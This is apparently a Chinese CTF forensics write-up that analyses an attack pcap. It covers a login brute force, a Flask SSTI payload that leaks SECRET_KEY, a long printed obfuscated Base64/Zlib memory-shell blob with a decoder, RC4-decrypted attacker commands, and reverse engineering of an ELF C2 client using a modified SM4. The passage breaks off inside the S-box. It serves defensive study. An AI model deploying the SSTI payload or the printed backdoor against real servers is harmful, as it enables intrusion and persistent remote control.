声明:流量分析是一个大题,包含SnakeBackdoor-1~6,因为篇幅原因,暂时先逐题解析,整理完所有内容后再整合在一起。
SnakeBackdoor-1

题目内容提示了我们整个流量分析需要做的事情,这是一个"流量取证 + 恶意代码分析"题目。不仅考察从海量流量中找到漏洞利用相关数据包的能力,还要求具备后渗透阶段的取证能力,包括木马样本提取、逆向分析通信协议以及系统持久化机制的排查。
文件下载下来是一个attack.pcap,已经进行资源绑定,可以在文章顶部下载。

题目1要求我们找到攻击者爆破成功的后台密码,解题思路如下:
bash
1、锁定目标:找到爆破行为发生的数据流(通常是大量的HTTP POST请求)。
2、寻找异常:在一堆"失败"的响应中,找到那个"长得不一样"的响应包通常是响应包长度不同,或者是状态码变成了302跳转。
3、溯源请求:找到这个异常响应对应的请求包,查看里面的密码参数。
1、锁定目标:在海量数据流找到爆破行为的数据流
在wireshark过滤器中输入http.request.method=="POST,过滤出http的POST请求

可以看到,过滤的数据包响应长度几乎差不多,符合我们预期的爆破行为的特征

随便选择几个数据包,右键追踪流=>TCP流

发现里面有账号和密码的请求,且一直改变,更加确认这是在进行账号密码爆破

2、寻找异常:响应长度突变即爆破成功的地方
在这里发现响应长度突然从793跳变到5369

并且在这之前紧挨着的login的POST请求中,追踪流=>TCP流可以看到状态码从200跳转到302



3、溯源请求:在登录成功的数据包中找到登录账户和密码
所以最后一次的login请求即为爆破成功的数据包

右键追踪流=>TCP流,数据包中的账号密码是正确的账号密码

得到flag为flag{zxcvbnm123}
SnakeBackdoor-2

这道题涉及Flask 框架 最常见的安全问题:SSTI(服务端模板注入) 或 信息泄露。
在 Flask 应用中,SECRET_KEY 是用于签名 Session 的核心密钥。如果攻击者利用漏洞(通常是 SSTI)读取了 Flask 的全局配置对象 config,就能拿到这个密钥。
bash
解题思路如下:
1、理解攻击原理:
(1)攻击者通常会利用模板注入漏洞,发送类似{{config}}、{{config.items()}}或{{self.__dict__}} 这样的Payload。服务器如果存在漏洞,会把当前的配置信息(包含SECRET_KEY)直接打印在HTTP响应包中。
(2)或者攻击者可能通过LFI(本地文件包含)读取了app.py或config.py源码。
2、搜索策略:
(1)直接在流量包中搜索特征字符串"SECRET_KEY"。这是最快的方法,因为无论是攻击者尝试读取它,还是服务器返回它,这个字符串出现的概率极高。
(2)搜索SSTI的特征字符,如 {{(在 URL 中可能是%7B%7B)。
数据包还是题目一中的attack.pcap流量包
打开pcap流量包,使用**http contains "SECRET_KEY"**命令,过滤出http数据包,并且包含我们想要的SECRET_KEY字符

过滤出一个数据包,右键追踪流=>TCP流

在POST请求体中,攻击者提交了参数:preview_content={{ config }}。这是一个典型的 Flask/Jinja2 模板注入Payload,意图是让服务器渲染并打印出全局config对象。

服务器执行了该指令,并在响应体的<div>标签中回显了配置字典。

其中& #39; 是HTML实体编码的单引号 ',提取可以看到 'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'。
最后得到flag{c6242af0-6891-4510-8432-e1cdf051f160}
SnakeBackdoor-3

在SnakeBackdoor-2中确认了是 Flask SSTI 漏洞,那么攻击者植入木马(通常是 Webshell 或内存马)的方式一般是构造了一个恶意的 SSTI Payload。
bash
解题核心思路:
1、定位攻击包: 在发现 {{ config }} 嗅探成功的流量之后,寻找 payload 最长、最复杂的 HTTP POST 请求。
2、提取 Payload: 攻击者为了绕过 WAF 或避免编码错误,通常会将核心 Python 代码进行 Base64 编码。你需要提取这串 Base64。
3、解码还原代码: 将提取出的 Base64 字符串解码,还原成明文的 Python 脚本。
4、代码审计: 在这段 Python 脚本中,寻找加密函数(如 AES, XOR)的初始化部分,里面的字符串参数就是Key。
(1)定位植入木马的数据包
攻击者通常在确认漏洞存在后(上一题的步骤),紧接着就会发送 Exp。继续使用 http.request.method == "POST"过滤数据包

寻找 payload 最长、最复杂的 HTTP POST 请求,这个一般是发送攻击请求的数据包。
在数据包中看到一个5369的数据包,并且经过题目2中分析,这个数据包是在攻击者爆破账号密码后成功登录访问网页的数据包,极有可能是成功登录后上传木马的数据包。

选择最长的数据包,右键追踪流=>TCP流

(2)提取并解码 Payload
提取出数据包中的payload,进行base64解码

base64解码后的代码还是一串复杂的编码
由解码出的头部信息可以知道,攻击者定义了一个匿名函数 _,它的逻辑是:
将输入的字符串倒序 -> Base64 解码 -> Zlib 解压
"_ = lambda __ : import('zlib').decompress(import('base64').b64decode(__[::-1]));"

并且可以知道代码执行了 exec((_)(b'=c4CU3xP...VndKZ')),这个就是加密后的木马本体。
(3)编写脚本解码,获取源码
bash
编写解码脚本思路:
1、字符串反转 ([::-1]):把字符串倒过来。
2、Base64 解码 (b64decode):将倒序后的字符串进行 Base64 解码。
3、Zlib 解压 (decompress):将解码后的二进制数据进行解压,得到原始代码。
将解码后的字符串提取出来
python
import base64
import zlib
import re
import os
import binascii
# Embedded Payload (extracted from original challenge)
PAYLOAD = b'=c4CU3xP+//vPzftv8gri635a0T1rQvMlKGi3iiBwvm6TFEvahfQE2PEj7FOccTIPI8TGqZMC+l9AoYYGeGUAMcarwSiTvBCv37ys+N185NocfmjE/fOHei4One0CL5TZwJopElJxLr9VFXvRloa5QvrjiTQKeG+SGbyZm+5zTk/V3nZ0G6Neap7Ht6nu+acxqsr/sgc6ReEFxfEe2p30Ybmyyis3uaV1p+Aj0iFvrtSsMUkhJW9V9S/tO+0/68gfyKM/yE9hf6S9eCDdQpSyLnKkDiQk97TUuKDPsOR3pQldB/Urvbtc4WA1D/9ctZAWcJ+jHJL1k+NpCyvKGVhxH8DLL7lvu+w9InU/9zt1sX/TsURV7V0xEXZNSllZMZr1kcLJhZeB8W59ymxqgqXJJYWJi2n96hKtSa2dab/F0xBuRiZbTXFIFmD6knGz/oPxePTzujPq5IWt8NZmvyM5XDg/L8JU/mC4PSvXA+gqeuDxLClzRNDHJUmvtkaLbJvbZcSg7Tgm7USeJWkCQojSi+INIEj5cN1+FFgpKRXn4gR9yp3/V79WnSeEFIO6C4hcJc4mwpk+09t1yue4+mAlbhlxnXM1Pfk+sGBmaUFE1kEjOpnfGnqsV+auOqjJgcDsivId+wHPHazt5MVs4rHRhYBOB6yXjuGYbFHi3XKWhb7AfMVvhx7F9aPjNmIiGqBU/hRFUuMqBCG+VVUVAbd5pFDTZJ3P8wUym6QAAYQvxG+ZJDRSQypOhXK/L4eFFtEziufZPSyrYPJWJlAQsDO+dli46cn1u5A5Hyqfn4vw7zSqe+VUQ/Ri/Knv0pQoWH1d9dGJwDfqmgvnKi+gNRugcfUjG73V6s/tihlt8B23KvmJzqiLPzmuhr0RFUJKZjGa73iLXT4OvlhLRaSbTT4tq/SCktGRyjLVmSj2kr0GSsqTjlL2l6c/cXKWjRMt1kMCmCCTV+aJe4npvoB99OMnKnZR4Ys526mTFToSwa5jmxBmkRYCmA82GFK7ak6bIRTfDMsWGsZvAEXv3Pfv5NRzcIFNO3tbQkeB/LIVOW5LfAkmR68/6zrL0DZoPjzFZI5VLfq0rv9CwUeJkR3PHcuj++d/lOvk8/h3HzSgYTGCwl1ujz8h4oUiPyGT74NjbY7fJ8vUHqNz+ZVfOtVw/z3RMuqSUzEAKrjcU2DNQehB0oY7xIlOT9u9BT4ROoDFo+5ZF6zVoHA4eIckXUOP3ypQv5pEYG+0pW4MyHmAQfsOaWyMdfMoqbw/M9oImdGKdKy1Wq3aq+t+xuyVdNAQMhoW2A7zQzob8XGA3G8VuoKHGOcc25HCb/FYeSxdwyIedAxklLLYMBHojTSpD1dExozdi89Gikhz3305ndTmECv0ZoUOHacnqtUUhJly7VgvX+JlawAY9orNPUmZM7QKbdOkTf/o8aQlS5Fe/xQkOMJGm4NXqLehiRIb925sTfVxwoNfP5v1MGlarYMifHl2rEp5C71ipFjpAGaEp9nRj0JgEa4lSTuYeVXwqbZQT3OfQvgt/bHJlAguqSWysGhqhITJYM6T10m71JiwfQH5iLXH5XbFk53QGcG2cAnFrWy70xEvabmf0u0ikQwpU2scP8LoEa/ClJnPSuWwicMkVLrkZGqnBvbk6JTg7HnT0vGUcV6kffIL6CK3bE1Fy0R6sl+UPoYvjkgSI3UbfD67bRxIxegBpYTzyCDzPytSE+a77sdxsghLpUC5hxz4ZeXdyIrbmhAqQw5eEnBuASE5qTMJkTp//hky+dT2pciOBYn/ACSLxprLZ0Ay1+zhl+XyV9WFL4NgBoH34bvkxH36nctszopWGPyd14RiS4d0EqNocqvtWu3YxkNgP+8fM/d/B0ikxKxh/GjkmQXaSX/B+40U4bfSbsEJpVOsTHTy6u0Nr67Sw7BvRwuVvfT0/8j73gYHBO2fGSIJ47ArYVm2+LzRT0iH5j7yVRmptcnAn8KkxJ63WBGb7u3bd+D+3ylnm1h4AR7MGN6r6LxpjNlAX11wa/XB1zN8cWUNnC3VczfwUEwPfi5dyo9nEC5WO9Um78WKRrm3c48IvTUhgdNeQEDosIfhMSmikEluQX8LcCRcK9eUT85bvr5J5rzEb+DuiGYyDFG7PZefvIb3w33u2q8zlxltWCStc5O4q8iWrVI7taZHxowTw5zJg9TdhBZ+fQrQtc0ydrBlvAlnY10vECnFUBA+y1lWsVn8cKxUjTdati4AF3iM/KuEtQ6Zn8bI4LYwMlGnCA1RG88J9l7G4dJzsWr9xOiD8iMI2N1eZd/QUy43YsILWx80yiCxz+G4bXf2qNRFvNOawPSnrpv6Q0oFEZojluPx7cOU27bAbgpwTKo0VUyH6G4+ysviQzU7SRd51LGG3U6cT0YDidQmz2ewtbkkKcGVcSyYOeClV6CRz6bdF/Gm3T2+Q914/lkZbKx19WnX78r+xw6bpjzWLr0E1gjnKCVxW0XSnwe+iG9dkG8nCFfjUlhdTaS1gJ7LFsmUjn8u/vRQbRLw/y66Irr/ynKOCzROcgrnDFxH3z3JTQQpTiDpeyzRsF4SnGBMv5Hbr+cK6YTa4MIbfzj5Ti3FMgJNqgK5Xk9hsilGsU6tUbnp6SKiJhUvJ8bqynUMEzndl+S+OVRCaH2iJl8U3WjyB68Rq4HATk/cK7LkJHHMjC3W7dTmOBpfoWMVELaL+RkqWYv0CpW5qENLlnOPBrGaGNeIZahzbnruEPIIXGkGz1fE5d42MaKZsCUYt1xXiai9+cbKGj/d0lICq7uc7bRhEBx46DyBXTz1gfJnT2ur6x4Avb5wY2pcYrcD2OR6AikMvm2c0bhabJB6o0DhONJ4lCxmKdGBzuwrts1u0D2yuo37yLLfsGDuyepNw8lyTNc2nyhCVBfW23DnBQmWc1QLCoRppVhjKXwOpODKO8R8YHnQM+rLk6EOabCdGK57iRzMcT3wc436kVmHXDcI0ZsYGY5aIC5DbdWjUt2ZuU0LmuLwzCTS99zhOoO8DKNqbK4bINLyAI2X928xib+hmIOqp3oSgC2PdFc8yqthN9S55omtex2xkEe8CY48C6z4JtqVtqhPQWQ8kte6xlepiVYCqIbE2Vg4fN//L/ff/u//9p4Lz7uq46yWenkJ/x90j/5mEIors5McSuFi9dygyyR5wJfuqGhOfsVVwJe'
def decrypt_layer(data):
"""
解密单层逻辑:
1. 清理空白字符
2. 字符串逆序 (Reverse)
3. Base64 解码
4. Zlib 解压缩
"""
# 清理可能存在的换行和空格
data = data.replace(b'\n', b'').replace(b'\r', b'').replace(b' ', b'')
# 逆序
reversed_data = data[::-1]
# Base64 解码
try:
b64_decoded = base64.b64decode(reversed_data)
except Exception as e:
raise ValueError(f"Base64 decode failed: {e}")
# Zlib 解压
try:
decompressed = zlib.decompress(b64_decoded)
except Exception as e:
# 尝试跳过头部或使用 raw deflate
try:
decompressed = zlib.decompress(b64_decoded, -15)
except:
raise ValueError(f"Zlib decompress failed: {e}")
return decompressed
def analyze_final_code(code_str):
"""分析最终解密出的代码,提取 Key 和 Token"""
print("\n" + "="*50)
print("【最终代码分析 / Final Code Analysis】")
print("="*50)
print(code_str)
print("="*50 + "\n")
# 简单的特征提取
lines = code_str.split('\n')
for line in lines:
line = line.strip()
if "RC4_SECRET" in line or "key" in line.lower():
print(f"[+] Found Key info: {line}")
if "X-Token-Auth" in line:
print(f"[+] Found Auth Token: {line}")
def main():
print(f"[*] 开始解密内嵌 Payload")
print(f"[+] 初始 Payload 长度: {len(PAYLOAD)}")
current_payload = PAYLOAD
layer_count = 0
while True:
layer_count += 1
print(f"[*] 正在解密第 {layer_count} 层...", end='\r')
try:
# 解密当前层
decrypted_bytes = decrypt_layer(current_payload)
decrypted_code = decrypted_bytes.decode('utf-8')
# 检查是否有下一层嵌套
# 模式: exec((_)(b'...'))
match = re.search(r"exec\(\(_\)\(b'(.+?)'\)\)", decrypted_code)
if match:
# 提取下一层的 payload,继续循环
current_payload = match.group(1).encode('utf-8')
else:
# 没有匹配到 exec((_)(b'...')),说明到达最后一层
print(f"\n[+] 解密完成!共解开 {layer_count} 层嵌套。")
analyze_final_code(decrypted_code)
break
except Exception as e:
print(f"\n[-] 在第 {layer_count} 层解密失败: {e}")
break
if __name__ == "__main__":
main()
(4)运行代码,输出结果
运行代码脚本成功执行,递归剥离了 32 层 复杂的嵌套混淆(倒序+Base64+Zlib),最终还原出了隐藏在最底层的 Python 内存马源代码。


从源码中可以清晰地看到该后门利用 Flask 框架的 404 错误处理进行挂钩(Hook),使用 RC4 算法加密通信流量,并直接暴露了关键的加密密钥 (v1p3r_5tr1k3_k3y) 和连接认证 Token (3011aa2...)。
最终结果为flag{v1p3r_5tr1k3_k3y}
SnakeBackdoor-4

题目4提示上传了一个二进制后门,要求我们找到木马进程执行的本体文件名称。
在SnakeBackdoor-2~3中已经拿到了核心密钥 RC4_SECRET = b'v1p3r_5tr1k3_k3y',这道题的本质就是利用密钥解密流量,还原攻击者的操作记录。
攻击者上传并执行二进制木马通常有两种方式:
(1)通过 HTTP 上传: 利用 wget / curl 下载,或者利用网页原本的上传功能。
(2)**通过 Shell 命令写入:**利用 echo <hex/base64> > /tmp/ma 写入,然后 chmod +x 赋予权限并执行。
关于判断使用哪种上传方式,可以按照流程试一下,进行快速排除。 但是正确的也无法绕过的方法,还是定位到攻击发生的地方,仔细分析数据包的行为。
1、通过HTTP上传------搜索二进制文件头(虽然本题不是这个方法,但还是过一下流程)
如果攻击者是通过上传接口或者未加密的流传输的文件,可以直接在 Wireshark 中搜索 ELF 文件头(7f 45 4c 46)
bash
解题思路:利用二进制文件头特征
1、打开搜索栏: 按 Ctrl + F
2、设置搜索模式:
(1)左侧选择:Packet bytes(分组字节流)
(2)中间选择:Hex Value(十六进制值)
(3)输入框:7f 45 4c 46 (这是 Linux ELF 可执行文件的"魔术字节",相当于文件的指纹)
(4)查找: 点击 Find
3、分析结果:
(1)如果找到了某个 POST 请求包含了这串字节,说明这就是上传木马的数据包
(2)右键 -> Follow -> TCP/HTTP Stream
(3)查看请求头中的 Content-Disposition: form-data; name="file"; filename="这里就是文件名"
(4)或者查看该数据包的前后文,寻找写入的文件名
过滤出http的POST请求数据包,ctrl+F,设置分组字节流和十六进制,输入文件头二进制特征7f 45 4c 46进行搜索。
因为本题不是通过http直接上传,所以没有结果。


2、通过 Shell 命令写入------ 利用密钥解密流量,还原攻击者的操作记录
bash
解题思路:
1、锁定流量:
重点关注HTTP POST请求,特别是访问木马路径的流量(特征是包含X-Token-Auth头或data参数)
2、解密指令:
(1)攻击者执行二进制文件必须发送Shell指令
(2)如果通信是加密的,我们需要提取data参数的值,使用SnakeBackdoor-2~3中拿到的 Key 进行 RC4 解密
3、在解密后的明文中,寻找关键字:
(1)chmod +x (赋予执行权限,二进制文件运行前的必经步骤)
(2)./(执行当前目录下的文件)
(3)/tmp/(攻击者常用的临时目录)
过滤出http的POST请求,回顾之前分析的请求数据包的行为

长度为5369的数据包是上传木马的请求,后面应该是对木马文件的具体操作,选一个数据包追踪流=>TCP流,分析数据包内容

可以看到上传的参数是加密的data参数,并且后面几个数据包都是上传的data参数


符合通过 Shell 命令写入的特征,所以我们现在需要提取出这些加密的操作data参数,然后使用之前获取的RC4秘钥RC4_SECRET = b'v1p3r_5tr1k3_k3y'进行RC4解密。

构造payload,将提取出加密的data使用RC4_SECRET = b'v1p3r_5tr1k3_k3y'秘钥,进行RC4解密
python
import binascii
# ================= 配置区域 =================
# 1. 设置密钥 (来自上一题提取的源码)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
# 2. 设置你提取出来的加密 Data 列表 (已按你提供的顺序填好)
encrypted_list = [
"a6bc",
"a3ab330fb285",
"acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534",
"bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a",
"a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351",
"acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b",
"e0ac7e52fc996cc2038c2d7a3899ed"
]
# ================= 核心函数 =================
def rc4_crypt(data: bytes, key: bytes) -> bytes:
"""RC4 加密/解密算法 (与木马内部逻辑一致)"""
S = list(range(256))
j = 0
# KSA (Key-scheduling algorithm)
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
# PRGA (Pseudo-random generation algorithm)
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)
# ================= 执行逻辑 =================
print(f"[*] 使用密钥: {RC4_SECRET.decode()}\n")
print("-" * 60)
print(f"{'序号':<5} | {'原始Hex (前10位)':<15} | {'解密结果 (执行的指令)':<30}")
print("-" * 60)
for idx, hex_data in enumerate(encrypted_list):
try:
# 1. 十六进制解码
enc_bytes = binascii.unhexlify(hex_data.strip())
# 2. RC4 解密
dec_bytes = rc4_crypt(enc_bytes, RC4_SECRET)
# 3. 尝试转为字符串
try:
dec_str = dec_bytes.decode('utf-8')
except UnicodeDecodeError:
dec_str = f"[非文本数据] {dec_bytes}"
# 4. 打印结果
print(f"{idx+1:<5} | {hex_data[:10]:<15} | \033[1;32m{dec_str}\033[0m")
except Exception as e:
print(f"{idx+1:<5} | {hex_data[:10]:<15} | [解密错误] {e}")
print("-" * 60)
解密出来,得到详细的shell操作命令

bash
根据解密出的操作记录,攻击者植入并启动后门的过程如下:
(1)攻击者首先通过执行 id 和 ls -al 命令进行了基础的系统侦察,确认了当前用户权限及目录环境
(2)接着,攻击者利用 curl 从远程服务器下载了加密压缩包 shell.zip,并使用密码 nf2jd092jd01 将其解压到了 /tmp 目录下
(3)为了隐藏行踪,攻击者将解压出来的名为 shell 的文件重命名为 python3.13,试图将其伪装成合法的 Python 进程
(4)最后,攻击者赋予了该文件可执行权限,并直接运行 /tmp/python3.13 启动了二进制木马
根据此过程,题目 4 的最终答案(木马进程执行的本体文件名)为: flag{python3.13}
SnakeBackdoor-5

根据题目5的要求分析,这题涉及流量文件提取 与二进制逆向分析
基于之前的分析,我们已经知道攻击者下载了一个名为 shell.zip 的压缩包,并解压出了一个 ELF 二进制文件(在题目4中被重命名为 python3.13)
所以我们需要先将流量中的shell.zip文件提取出来,然后使用IDA进行逆向分析,定位网络通信函数,找到加密密钥,解题思路如下:
bash
解题思路:
1、提取样本:从 Wireshark 流量中将 shell.zip 提取出来。
2、解压样本:使用题目 4 获得的密码 nf2jd092jd01 解压得到 ELF 文件。
3、逆向分析:使用 IDA Pro 或 Ghidra 打开 ELF 文件,定位网络通信函数,找出硬编码的加密密钥。
4、格式转换:将找到的字符串或字节流密钥转换为题目要求的小写 Hex 格式。
1、提取木马本题文件
由题目4的分析结果知道,木马本题文件为shell.zip,并且使用密码nf2jd092jd01进行了加密

在 Wireshark 过滤器栏输入:http contains "shell.zip"(或者更精准地: http.request.uri contains "shell.zip")

点击菜单栏的 File (文件) => Export Objects (导出对象) => HTTP

在弹出的列表中,在文本过滤器中搜做".zip",找到文件名为 shell.zip 的那一行(Content-Type 通常为 application/zip),保存即可

2、解密压缩包
打开shell.zip压缩包,是经过加密的,输入题目4中得出的密码nf2jd092jd01,得到里面的木马本体二进制文件


3、逆向分析加密密钥
将shell二进制文件拖进IDA中

我们需要定位到网络通信函数,先找C2 服务器通信,密钥通常硬编码在数据段中
选择import窗口,找到inet_addr,双击定位到函数,选中函数,然后按下X键


双击.got.plt,选中地址或者函数,再次按X,弹窗之后再双击_inet_addr

选中_inet_addr,一样的操作,得到main函数的流程图视图


F5反编译得到伪代码

分析代码,是一个Linux C 语言编写的后门客户端
它的核心功能是:主动连接攻击者的服务器,通过某种协商机制生成加密密钥,然后循环接收攻击者的加密指令,执行后将结果加密回传
首先网络连接初始化,负责建立与 C2 服务器的 TCP 连接,IP: "192.168.1.201" 目标端口: 0xE59E(十进制为58782)
cpp
fd = socket(2, 1, 0); // 1. 创建套接字 (AF_INET=2, SOCK_STREAM=1)
if ( fd < 0 ) exit(1); // 创建失败则退出
memset(&s, 48, 0x10uLL); // 初始化 sockaddr 结构体
s = 2; // 地址族 AF_INET
v15 = inet_addr("192.168.1.201"); // 2. 目标 IP 地址
v14 = htons(0xE59Eu); // 3. 目标端口
// 4. 发起连接
if ( connect(fd, (const struct sockaddr *)&s, 0x10u) < 0 )
{
close(fd);
exit(1);
}
连接成功后,进行密钥协商与生成,木马没有直接发送数据,而是进行了一次"握手"来生成加密通信所需的密钥
这是一个基于 "种子同步" 的弱加密方案,使用4字节的随机数种子,生成16字节的密钥
cpp
// 1. 接收 4 字节数据 (Seed)
if ( (unsigned int)sub_18ED((unsigned int)fd, &v7, 4LL, 0LL) != 4 ) ...
// 2. 字节序转换 (Big-Endian 转 Little-Endian)
seed = (*(_DWORD *)&v7 >> 8) & 0xFF00 | ... ;
// 3. 设置随机数种子
srand(seed);
// 4. 生成 16 字节密钥
for ( i = 0; i <= 3; ++i )
*(_DWORD *)&v8[4 * i] = rand(); // v8 就是最终的 Session Key
// 5. 初始化加密上下文 (sub_13B4 可能是 KeyExpansion)
sub_13B4(&v10, v8, 0LL); // 初始化解密上下文 v10
sub_13B4(&v9, v8, 1LL); // 初始化加密上下文 v9
所以我们需要找到连接初期这 4 个字节的随机种子,然后在本地写代码模拟 srand 和 rand,从而计算出当次会话的所有加密密钥。
返回流量包,过滤出前面找到的IP和端口,在找出长度为4字节的数据包
bash
ip.addr == 192.168.1.201 && tcp.port == 58782 && tcp.len == 4

查看数据包中的数据内容
第一个数据包中的数据Data: 34952046是我们想要的4字节随机种子
后面数据包中的数据Data: 00000010、Data: 00000030等等,正好是 AES/RC4 等加密算法的常见块大小,或者是填充后的指令长度



4、编写脚本模拟计算出密钥
编写脚本
cpp
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
// 1. 设置你在 Wireshark 里找到的种子
// 数据包里的 hex 是 34 95 20 46,对应整数 0x34952046
unsigned int seed = 0x34952046;
printf("[*] Seed: 0x%X\n", seed);
// 2. 初始化随机数生成器 (模拟木马逻辑)
srand(seed);
printf("[+] Flag: flag{");
// 3. 生成 16 字节密钥 (4次 rand)
for(int i = 0; i < 4; i++) {
int r = rand();
// 模拟 Python 的 struct.pack("<I", r) -> 小端序输出
unsigned char *p = (unsigned char *)&r;
printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]);
}
printf("}\n");
return 0;
}
可以使用在线C语言编译器:https://www.onlinegdb.com/online_c_compiler

最终得到flag{ac46fb610b313b4f32fc642d8834b456}
SnakeBackdoor-6

我们在前面的分析中已经拿到了最关键的钥匙:加密密钥。现在,我们需要利用这把钥匙,从 Wireshark 的流量中把被加密的 Flag 还原出来
根据题目描述"攻击者获取服务器中的flag",说明是受害机(运行木马的机器)执行了命令,并将 Flag 作为结果回传给了 C2 服务器(192.168.1.201)。解题思路如下:
bash
解题思路:
1、计算密钥:用题目5从 Wireshark 流量中提取服务端发送的 4 字节随机种子(34952046),在 Linux 环境下模拟 srand 和 rand 逻辑,计算出本次会话的 16 字节会话密钥
2、逆向算法:在 IDA 中根据密钥扩展算法分析加密算法
3、提取密文:在 Wireshark 中定位受害者发往攻击者(Client -> Server)的回传数据包,去除前 4 字节的长度头,提取剩余的 Hex 密文
4、编写解密脚本:编写 Python 脚本,结合计算出的会话密钥和提取的算法参数,对密文进行解密,最终还原出 Flag
1、计算密钥
在题目5中我们已经从 Wireshark 流量中提取服务端发送的 4 字节随机种子(34952046),这个种子会计算出会话的 16 字节会话密钥
所以我们需要编写脚本,模拟 srand 和 rand 的逻辑计算出1616 字节会话密钥,构造脚本如下:
cpp
#include <stdio.h>
#include <stdlib.h>
int main() {
// 1. 填入 Wireshark 提取的种子
unsigned int seed = 0x34952046;
// 2. 初始化随机数生成器 (模拟木马行为)
// 注意:必须在 Linux 环境编译运行 (如 OnlineGDB 选择 C 语言)
srand(seed);
printf("Session Key: ");
// 3. 生成 16 字节密钥
for(int i = 0; i < 4; i++) {
int r = rand();
// 模拟内存中的小端序存储
unsigned char *p = (unsigned char *)&r;
printf("%02x%02x%02x%02x", p[0], p[1], p[2], p[3]);
}
printf("\n");
return 0;
}
计算出来,其实也就是我们题目5中计算出来的

a、提取出密钥
bash
KEY_HEX = "ac46fb610b313b4f32fc642d8834b456"
2、IDA逆向分析会话加密算法以及算法相关参数
根据题目5在IDA中反编译出的main函数伪代码
(1)分析分组长度
根据代码行v16 = 16 * (v23 / 16 + 1); 和 memset(&s, 48, 0x10uLL); 知道分组长度, 数据被强制对齐到 16 字节(128位)。这说明使用的是 分组加密算法,且分组大小为 128 bit
候选算法:AES, SM4, Camellia, Aria 等。排除 DES(64 bit)和 RC4(流加密)


(2)分析密钥长度
由代码v8[16]; ... *(_DWORD *)&v8[4 * i] = rand();分析知道生成了 4 个 4 字节的随机数,共 16 字节(128 bit)
密钥长度为128-bit 的会话密钥

(3)分析加密模式并提取加密算法相关参数
分析知道sub_13B4(密钥扩展)和 sub_1860(加密/解密核心)

sub_1860 调用时没有传递 IV(初始化向量),且存在 Padding 填充逻辑 ,说明极有可能是 ECB 模式(电子密码本模式)
b.提取SM4算法的系统参数FK
双击进入 sub_13B4 (密钥扩展函数),是典型的 SM4 密钥扩展算法 (Key Expansion / Key Schedule)。它的作用是把输入的 128 位(16 字节)主密钥,扩展成 32 个 32 位的轮密钥

循环 4 次,异或一个常量数组 dword_2120,这个dword_2120 就是 SM4 的 系统参数 FK

双击查看 dword_2120,可以看到0A3B1BAC6h, 56AA3350h等参数,吻合SM4 的 系统参数 FK,进一步证实了是SM4算法

bash
FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]
c.提取SM4算法的固定参数CK
循环 32 次,每次异或一个常量数组 dword_2140,调用一个子函数 sub_1311。这个dword_2140 就是 SM4 的 固定参数 CK;sub_1311 是 线性/非线性变换函数

双击dword_2140,查看参数,吻合 SM4 算法的标准固定参数 CK

bash
CK = [
0x00070e15, 0x1c232a31, 0x383f464d, 0x545b6269, 0x70777e85, 0x8c939aa1, 0xa8afb6bd, 0xc4cbd2d9,
0xe0e7eef5, 0xfc030a11, 0x181f262d, 0x343b4249, 0x50575e65, 0x6c737a81, 0x888f969d, 0xa4abb2b9,
0xc0c7ced5, 0xdce3eaf1, 0xf8ff060d, 0x141b2229, 0x30373e45, 0x4c535a61, 0x686f767d, 0x848b9299,
0xa0a7aeb5, 0xbcc3cad1, 0xd8dfe6ed, 0xf4fb0209, 0x10171e25, 0x2c333a41, 0x484f565d, 0x646b7279
]
d.提取SM4算法的S-Box (S盒)
根据前面的分析,sub_1311 是 线性/非线性变换函数,实现了 SM4 算法中的 S盒代换 + 线性变换

这里将 32 位输入拆成 4 个 8 位字节,然后分别传入 sub_1229,推断sub_1229 就是 S-Box 查表函数

双击 sub_1229,看待调用了byte_2020,双击查看得到了SM4 算法中的S盒

这里的S盒只保留了SM4算法标准S 盒的前几行,后面的内容修改了的
bash
SboxTable = [
0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05,
0x2B, 0x67, 0x9A, 0x76, 0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 0x06, 0x99,
0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62,
0xE4, 0xB3, 0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 0x75, 0x8F, 0x3F, 0xA6,
0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8,
0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35,
0x1E, 0x24, 0x0E, 0x5E, 0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 0x78, 0x87,
0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E,
0xEA, 0xBF, 0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 0xF9, 0x61, 0x15, 0xA1,
0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3,
0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F,
